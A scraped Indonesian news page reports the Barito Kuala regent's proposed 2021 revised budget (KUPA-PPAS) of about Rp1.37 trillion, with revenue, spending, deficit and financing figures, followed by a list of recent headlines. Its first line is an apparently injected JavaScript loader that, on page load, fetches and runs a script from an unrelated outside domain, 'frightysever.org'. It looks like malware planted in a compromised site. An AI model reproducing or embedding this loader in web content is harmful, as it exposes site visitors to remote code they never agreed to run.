(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV BARITO KUALA

KUPA-PPAS APBD Batola 2021 Diajukan Sebesar Rp1,37 Triliun


KANALKALIMANTAN.COM, MARABAHAN– Melalui sidang paripurna DPRD Kabupaten Batola, Bupati Barito Kuala (Batola) Noormiliyani sampaikan rancangan kebijakan umum perubahan APBD (KUPA) serta prioritas dan plafon anggaran sementara (PPAS) perubahan untuk APBD Kabupaten Batola tahun 2021

Noormiliyani memaparkan KUPA-PPAS untuk perubahan APBD tahun 2021 disusun dan dirumuskan dengan mempedomani peraturan pemerintah (PP) nomor 12 tahun 2019 tentang pengelolaan keuangan daerah.

“Saya harapkan KUPA dan PPAS perubahan, benar-benar menjadi panduan kokoh, yang dipahami pemangku kepentingan di Kabupaten ini,” ujarnya.

Noormiliyani menjelaskan, rancangan KUPA dan PPAS perubahan untuk perubahan APBD tahun 2021 yang disusun dan diajukan ini, akan menjadi kesepakatan yang menentukan tingkat kinerja pemerintah di sisa tahun 2021. Secara substantif menjadi upaya bertahap pencapaian Visi Pemerintah Kabupaten Barito Kuala tahun 2017-2022 Barito Kuala SETARA.

 

Baca juga : Sindiran Nyelekit Warganet Buat Para ‘Capres Baliho’ yang Jorjoran di Tengah Pandemi

Pada rancangan KUPA dan PPAS perubahan untuk perubahan APBD tahun 2021 ini, Noormiliyani juga menyampaikan gambaran struktur perubahan APBD. Nilai anggaran tanun 2021 untuk sementara diprakirakan sebesar Rp 1.371.299.851.947,00. Sedangkan struktur anggaran dalam rancangan kebijakan umum perubahan anggaran yang disampaikan kali ini meliputi; anggaran pendapatan sebesar Rp1.244.517.649.585,00, anggaran belanja Rp 1.351.199.851.947,00. Sehingga anggaran direncanakan defisit sebesar Rp 106.682.202.362,00.

Sedangkan untuk penerimaan pembiayaan sebesar Rp126.782.202.362,00, dan pengeluaran pembiayaan sebesar Rp20.100.000.000,00, sehingga pembiayaan bersih dengan nilai positif sebesar Rp106.682.202.362,00.

“Dengan demikian sisa lebih pembiayaan anggaran atau Silpa tahun berkenaan yang direncanakan adalah ‘tidak ada silpa’ atau sama dengan Rp0,00,” jelas Noormiliyani.

Noormiliyani berharap, dengan struktur anggaran perubahan APBD tanhun 2021 pada KUPA dan PPAS perubahan ini, para pihak terkait dapat mencermati, mengidentifikasi, dan menilai adanya kekurangan dan kelebihan. Dimana nantinya dapat disampaikan sebagai bahan penyempurnaan. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk


Desy Arfianty

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

6 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

6 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

9 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

15 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

16 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

18 jam ago

This website uses cookies.